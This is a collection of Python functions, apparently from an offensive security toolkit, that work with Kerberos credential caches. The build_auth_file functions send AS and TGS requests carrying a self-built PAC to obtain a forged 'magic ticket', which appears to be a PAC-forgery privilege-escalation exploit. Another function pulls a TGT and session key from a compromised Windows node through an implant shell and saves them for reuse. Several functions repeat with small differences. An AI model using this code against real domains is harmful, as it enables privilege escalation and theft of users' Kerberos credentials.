def extract_unix_ticket_meta(self, unix_ccache_file): cc1 = cc.CCache() cc1.open(unix_ccache_file, new=0) creds = cc1.get_credentials() tickets = [] for cred in creds: # We do not include in the display the configuration stored in # the ccache file. if cred.is_config_credential(): continue ticket = {} service = cred.get_service_principal() client = cred.get_client_principal() flags = cred.get_flags() times = cred.get_times() ticket['service'] = "%s@%s" % (service[0], service[2]) ticket['ticketflags'] = flags if times[0]: ticket['StartTime'] = time.ctime(times[0]) else: ticket['StartTime'] = '(empty)' if times[2]: ticket['EndTime'] = time.ctime(times[2]) else: ticket['EndTime'] = '(empty)' if times[3]: ticket['RenewTime'] = time.ctime(times[3]) else: ticket['RenewTime'] = '(empty)' tickets.append(ticket) return tickets
def check_ccache_file(self): try: # Can we open the credential file? cc1 = cc.CCache() cc1.open(self.ccache_file, new=0) # Is the DB related to the username? principal = cc1.get_primary_principal() user_domain = '@'.join([self.user, self.domain]).lower() if user_domain != principal.lower(): return False # Do we have credential information that is not only configuration? creds = cc1.get_credentials() found_valid_creds = 0 for cred in creds: if not cred.is_config_credential(): found_valid_creds = 1 if not found_valid_creds: return False else: return True except Exception as e: return False else: return True
def check_ccache_file(self): """ Quickly check the validity of the ccache file. This is mostly to avoid users incorrectly using the module. """ try: # Can we open the credential file? cc1 = cc.CCache() cc1.open(self.ccache_file, new=0) # Is the DB related to the username? principal = cc1.get_primary_principal() user_domain = '@'.join([self.user, self.domain]).lower() if user_domain != principal.lower(): return False # Do we have credential information that is not only configuration? creds = cc1.get_credentials() found_valid_creds = 0 for cred in creds: if not cred.is_config_credential(): found_valid_creds = 1 if not found_valid_creds: return False else: return True except Exception as e: if self.debug_errors: logging.debug('check_ccache_file() failed: %s' % str(e)) return False else: return True
def build_auth_file(vec): try: client_principal = Convert2PrincipalType(vec['user'], vec['domain']) auth_principal = Convert2PrincipalType('krbtgt/' + vec['domain'], vec['domain']) asreq = AsReq(client_principal, vec['domain']) asreq.set_server_principal(auth_principal) asreq.set_encryption_types([helper.ETYPE_ARCFOUR_HMAC_MD5]) asreq.set_passphrase(vec['passphrase'], vec['salt']) asreq.set_pac_req_opt(False) frame = asreq.pack() k = helper.KerberosSocket(vec['ip'], use_tcp=vec['protocol'] == 'tcp') data = k.send(frame) if not data: logging.error("No answer!") return False resp = AsRep(data) if not resp.is_valid(): logging.error("Invalid response or wrong status!") return False # Extract the ticket, session key, times struct and flags raw_ticket = resp.get_ticket() resp.set_passphrase(vec['passphrase'], vec['salt']) session_key = resp.get_session_key() authtime = resp.get_authtime().asOctets() pac = build_pac(vec, authtime) if not pac: logging.error("Could not build the PAC file") return False tgsreq = TgsReq(vec['domain'], client_principal=client_principal, server_principal=auth_principal) tgsreq.set_ticket(raw_ticket) tgsreq.set_session_key(session_key) tgsreq.set_pac(pac) frame = tgsreq.pack() k = helper.KerberosSocket(vec['ip'], use_tcp=vec['protocol'] == 'tcp') data = k.send(frame) if not data: logging.error("No answer!") return False subkey = tgsreq.get_subkey() resp2 = TgsRep(data) if not resp2.is_valid(): logging.error("Invalid response or wrong status!") return False resp2.set_key(subkey) # Extract the ticket, session key, times struct and flags raw_ticket2 = resp2.get_ticket() session_key2 = resp2.get_session_key() times2 = resp2.get_times() flags2 = resp2.get_flags() # Adds information to the CCache cc1 = cc.CCache() cc1.open('/tmp/krb5cc_' + str(os.getuid()), new=1) cc1.set_header(client_principal, vec['domain']) cc1.import_creds(client_principal, auth_principal, session_key2, times2, tktflags=flags2, is_skey=0, ticket=raw_ticket2) cc1.write() except Exception as e: logging.error("build_auth_file() failed: %s" % str(e)) return False else: return True
def extract_client_principal(self, unix_ccache_file): cc1 = cc.CCache() cc1.open(unix_ccache_file, new=0) return cc1.get_primary_principal()
def do_recv_and_write_tgt_windows(self, node): # First step is to actually fetch the TGT. # This step should not fail unless mosdef-c is not correct. shell = node.shell try: servicename = self.readExternalName(shell) targetname = self.readExternalName(shell) clientname = self.readExternalName(shell) domainname = shell.readblock().decode('utf-16le').encode('ASCII') targetdomainname = shell.readblock().decode('utf-16le').encode( 'ASCII') alttargetdomainname = shell.readblock().decode('utf-16le').encode( 'ASCII') key = self.readKey(shell) ticketflags = self.readLONG(shell) flags = self.readLONG(shell) keyexpirationtime = self.readFileTime(shell) starttime = self.readFileTime(shell) endtime = self.readFileTime(shell) renewtime = self.readFileTime(shell) timeskew = self.readFileTime(shell) ticket_str = shell.readblock() except Exception as e: self.log_error('Error while receiving data from mosdef: %s' % str(e)) self.log_info('Unlocking the callback') shell.leave() return None # Then we release the callback anyway because we don't want to lose it. self.log_info('Unlocking the callback') shell.leave() # If the session key is empty, the ticket can't be used anyway if not len(key[1]): self.log_error( 'Unfortunately the session key could not be exported, saving the TGT would be pointless' ) return None # We prepare the metadata to print its description in the logs ticket = {} ticket['service'] = "%s@%s" % ("/".join( servicename['name']), domainname) ticket['ticketflags'] = ticketflags starttime_tms = self.filetime_to_timestamp(starttime) endtime_tms = self.filetime_to_timestamp(endtime) renewtime_tms = self.filetime_to_timestamp(renewtime) keyexpirationtime_tms = self.filetime_to_timestamp(keyexpirationtime) if starttime_tms: ticket['StartTime'] = time.ctime(starttime_tms) else: ticket['StartTime'] = '(empty)' if endtime_tms: ticket['EndTime'] = time.ctime(endtime_tms) else: ticket['EndTime'] = '(empty)' if renewtime_tms: ticket['RenewTime'] = time.ctime(renewtime_tms) else: ticket['RenewTime'] = '(empty)' # We can now write the ccache file client_principal = krb.Convert2PrincipalType( clientname['name'][0].encode('ASCII').lower(), domainname) auth_principal = krb.Convert2ServiceAndInstanceType( 'krbtgt/' + domainname, domainname) session_key2 = key times2 = [ keyexpirationtime_tms, starttime_tms, endtime_tms, renewtime_tms ] self.generate_ccache_filename(self.get_target_ips_str(node, "_")) self.nlog('Saving TGT in %s' % self.session_ccache_file) try: cc1 = cc.CCache() cc1.open(self.session_ccache_file, new=1) cc1.set_header(client_principal, domainname) cc1.import_creds(client_principal, auth_principal, session_key2, times2, tktflags=ticketflags, is_skey=0, ticket=ticket_str, cut=0) cc1.write() except Exception as e: self.log_error('Unexpected error: %s' % str(e)) return None else: # At this point we have a correct ccache file saved in ./session/ return [ticket]
def build_auth_file(self, to, use_tcp=False): try: if use_tcp: logging.info( 'Performing TCP requests to create the magic ticket!') else: logging.info( 'Performing UDP requests to create the magic ticket!') client_principal = Convert2PrincipalType(self.user, self.domain) auth_principal = Convert2PrincipalType('krbtgt/' + self.domain, self.domain) asreq = AsReq(client_principal, self.domain) asreq.set_server_principal(auth_principal) asreq.set_encryption_types([helper.ETYPE_ARCFOUR_HMAC_MD5]) asreq.set_passphrase(self.password) asreq.set_pac_req_opt(False) frame = asreq.pack() s = KerbSocket(to[0], to[1], use_tcp) s.send(frame) data = s.recv() s.close() if not data: logging.error('AS request failed: no answer received') return False resp = AsRep(data) if not resp.is_valid(): logging.error( 'AS request failed: Invalid response or wrong status') return False # Extract the ticket, session key, times struct and flags raw_ticket = resp.get_ticket() resp.set_passphrase(self.password) session_key = resp.get_session_key() authtime = resp.get_authtime().asOctets() pac = self.build_pac(authtime) tgsreq = TgsReq(self.domain, client_principal=client_principal, server_principal=auth_principal) tgsreq.set_ticket(raw_ticket) tgsreq.set_session_key(session_key) tgsreq.set_pac(pac) frame = tgsreq.pack() s = KerbSocket(to[0], to[1], use_tcp) s.send(frame) data = s.recv() s.close() if not data: logging.error('TGS request failed: no answer received') return False subkey = tgsreq.get_subkey() resp2 = TgsRep(data) if not resp2.is_valid(): logging.error( 'TGS request failed: Invalid response or wrong status') return False resp2.set_key(subkey) # Extract the ticket, session key, times struct and flags raw_ticket2 = resp2.get_ticket() session_key2 = resp2.get_session_key() times2 = resp2.get_times() flags2 = resp2.get_flags() # Adds information to the CCache cc1 = cc.CCache() cc1.open(self.ccache_file, new=1) cc1.set_header(client_principal, self.domain) cc1.import_creds(client_principal, auth_principal, session_key2, times2, tktflags=flags2, is_skey=0, ticket=raw_ticket2) cc1.write() return True except Exception as e: logging.error(str(e)) return False